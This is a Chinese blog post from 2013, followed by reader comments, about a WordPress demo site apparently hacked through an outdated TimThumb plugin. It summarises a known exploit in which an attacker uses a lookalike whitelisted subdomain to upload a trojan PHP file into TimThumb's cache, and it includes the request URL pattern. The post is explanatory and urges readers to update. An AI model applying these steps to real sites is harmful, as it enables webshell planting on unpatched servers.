HOME
demo站之前出的问题我实在是不服气, 今天跑上来检查了, 得出结论九成是timthumb漏洞导致的.
Timthumb漏洞已经出来许多年了, 老版本的Timthumb由于白名单域名过滤机制的不完善, 给了hackers绕过验证的机会, 所以被黑风险很大.
国外论坛上也有对这个老问题的讨论,
Are you using an outdated version for timthumb? So many wordpress sites are getting hacked cause of that. If I was you I would replace the entire website. Chances are almost every file has a backdoor. You basically need to reinstall everything.
某胖子大牛前年就写过一篇利用Timthumb漏洞hack的演示, 总结大概步骤是这样: 建立一个三级域名的网站，地址为http://白名单域名.你的域名 , 比如http://picasa.com.域名.com, 并上传一个自己的木马, 然后访问目标网站路径/timthumb.php?src=http://http://flickr.com.域名.com/木马.php, 这个时候并不能直接访问结果, 但结果已经保存在Timthumb的cache路径下了, 然后就可以在cache下得到md5值.
这个hack本身已经过期了, 但是如果使用了过期的timthumb插件就必然会被秒0了, 注意软件漏洞发布, 如果文件多出来eval(function(..之类的查询肯定是被黑了, 多留神吧
第1行文字
xiaohudie.net
libra: 还是这个跳转底部好用。网上找的都不兼容firefox和chrome 
牧风: 好图标, 我喜欢 
Tokin: 我还打算把域名转到国内呢。。。 
jiangzhou: 哈哈，好呢！如果我买的话不用售后，我自己就是程序猿，只不过没有审美感去设计而已。
但是能不能先把DEMO站修复下让我再观摩观摩。 
欧美大图吧: 小蝴蝶哈。。 
表哥: 0.0域名注册了好久但是网站最近才开始弄 
张戈博客: 技术厉害的是大神，长得漂亮的是女神，博主兼之。 
以前不注意安全问题，前段时间无聊查看之前做过的网站，好多eval的大马被挂到了网站上，还留了个友情检测的page，看到之后心里好不爽0.0
八月 17, 2013 03:52:27@ai7hoo 用了有漏洞的插件或者主题吧 代码亲自敲比较安全
101室 八月 17, 2013 14:30:03@小蝴蝶 可是技术上不过关，代码有时候写的也比较乱，其实是主攻前端页面的设计，很少注意后台代码的各种问题，看来要走的路还很多唉0.0
102室 八月 18, 2013 13:41:19@ai7hoo php很好学的加油～
103室 八月 18, 2013 17:52:02@小蝴蝶 你不是在学ruby吗？？
104室 八月 20, 2013 16:06:05@跑调的包子 楼上说的不是ruby的范围啊
105室 八月 21, 2013 00:07:21不是据说新版本已解决该问题？
八月 17, 2013 07:33:29timthumb功能太多，单纯在生成和显示缩略图，自己写的生成缩略图函数。没有任何漏洞可言。囧。
@kn007 我写了是“过期”timthumb漏洞 而且不是我用的
201室 八月 17, 2013 13:59:27支持小蝴蝶！！！ V
八月 17, 2013 08:58:42@跑调的包子 5
301室 八月 17, 2013 14:29:18@跑调的包子 V
301室 八月 18, 2013 10:36:39@xsinger 5
302室 八月 19, 2013 21:16:13@Android V
303室 八月 20, 2013 16:06:22@跑调的包子 5…
304室 八月 20, 2013 19:49:44@Android V.
305室 八月 20, 2013 21:16:51@跑调的包子 5
306室 八月 21, 2013 01:34:13来看看，支持博主，哈哈，小蝴蝶，这个名字真可爱。
八月 17, 2013 11:18:24不明觉厉，demo站是哪儿呢 反正那个Octopress的博客目测是死了……
八月 17, 2013 12:37:12@大头蛋 好一个不明觉厉
501室 八月 17, 2013 14:00:26@跑调的包子 反正真心没看懂
502室 八月 17, 2013 19:41:29@大头蛋 咳咳 只是昏迷了 过几年保不准还会活的嘛
501室 八月 17, 2013 14:01:34@小蝴蝶 过几年……
502室 八月 17, 2013 19:41:12找到问题就好啊！别生气~
八月 18, 2013 10:25:12大概明白了。设置目录权限不行吗？。
八月 18, 2013 20:51:59这个问题当时良心的主题受灾比较严重
八月 19, 2013 11:30:08虚惊一场，都是N久前的老版本Timthumb了
八月 19, 2013 19:37:41老版本真V5….漏洞一堆…
八月 19, 2013 21:16:51蝴蝶威武，追踪回去，反咬一口
八月 20, 2013 00:06:40改好就没有问题了，不过现在不是有什么可以替代的软件吗？
八月 20, 2013 16:53:04RICE原来是个胖子~
八月 20, 2013 18:01:45@苏晓晨 嘘我可没说
1301室 八月 20, 2013 20:22:14@小蝴蝶 我忘得差不多了。
1302室 八月 20, 2013 20:23:15有没有没漏洞的timthumb
八月 21, 2013 08:50:55@Tokin 有漏洞是很老的版本
1401室 八月 21, 2013 17:03:02自从这货上次被爆漏洞后，我就一直不用它了
八月 21, 2013 18:28:17@麦田一根葱 这货我没用过～缩略图可以php裁剪
1501室 八月 21, 2013 19:43:42@小蝴蝶 是不是那片文章啊~~一个带注册表文件的图片….
1502室 八月 22, 2013 22:49:53@夜枫 是的好感动
1503室 八月 22, 2013 23:43:27我是个看不懂代码的人
八月 22, 2013 14:06:40然后就可以在cache下得到md5值大家要小心啊
八月 22, 2013 14:26:01来看看。
八月 22, 2013 14:29:59看不懂
八月 22, 2013 15:18:04timthumb的漏洞更新就可以了,我在寻找一款和timthumb一样功能的，但是木有找到…
八月 22, 2013 22:49:12木有缩略图插件，木有用WP，好像没担心过
八月 23, 2013 15:58:32老版本有问题, 记得是去年还是前年的事了
八月 23, 2013 17:27:07@牧风 很老了~前年吧
2201室 八月 24, 2013 23:56:01漏洞无处不在。。
八月 23, 2013 17:53:35没见你用这个程序啊。
八月 24, 2013 09:14:47@不亦乐乎 不是我用的啊。
2401室 八月 24, 2013 13:52:14@小蝴蝶 我用了 :
2402室 八月 25, 2013 15:59:41我觉得用不上缩略图这东西。。。欢迎回访
八月 25, 2013 19:33:03评论分页的当前页数会戳入顶部导航
八月 25, 2013 19:33:44@Aivier 谢谢 已修复
2601室 八月 26, 2013 01:31:38喜闻乐见，不用这个的。。
八月 27, 2013 19:23:01小漏洞不管往往就会变成意想不到的结果，变成大的漏洞就不好了。
八月 27, 2013 21:03:09看看，顺便学学
八月 28, 2013 09:47:32更新速度比较更懒的MM加油了，追稿了。
八月 30, 2013 11:01:58我很喜欢你们啊～我觉得你们很可爱～
八月 30, 2013 21:09:46我很喜欢你们啊～我觉得你们很可爱～
这个是我的部落格，大家有空可以看看啊～要翻墙哦～我是马来西亚人。
八月 30, 2013 21:10:24jonylifefighter.blogspot.com
八月 30, 2013 21:10:41曾经被这个漏洞啪啪啪了。。
九月 4, 2013 20:51:26女神，你好腻害..
十月 25, 2013 23:14:40发现又换主题了 ~~
十一月 14, 2013 12:52:01@A.yi 已经换了有段时间了
3601室 十一月 19, 2013 02:18:57这文件搞的很多WPER都有心理阴影了。。。。。
一月 31, 2014 22:02:05